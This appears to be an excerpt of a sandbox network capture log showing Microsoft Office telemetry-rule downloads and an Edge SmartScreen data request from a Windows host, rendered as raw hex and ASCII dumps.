44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00188010F1C92617</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="9cfa7fdf-ee36-41a5-9df2-89ada4dc11b2" LicenseID="3252b20c-d425-4711
2024-10-27 16:54:40 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1f235477-301e-003f-2c03-27266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165433Z-15b8d89586fqj7k5h9gbd8vs9800000004wg000000009454 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-15b8d89586fvk4kmbg8pf84y8800000004n000000000bfme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:34 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 37fe38c7-001e-0014-0ed1-265151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-r197bdfb6b4zd9tpkpdngrtchw000000030000000000bfq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-16849878b78p8hrf1se7fucxk800000004p000000000bsss x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-16849878b78xblwksrnkakc08w00000002zg00000000ggq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49866	20.25.227.174	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoib3lBRXNQZ0JuS3QvLzA4OTZHMU5EUT09IiwgImhhc2giOiJnZ2ppZWhYYUFmcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-27 16:54:34 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-27 16:54:35 UTC	252	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-10-27 16:54:35 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
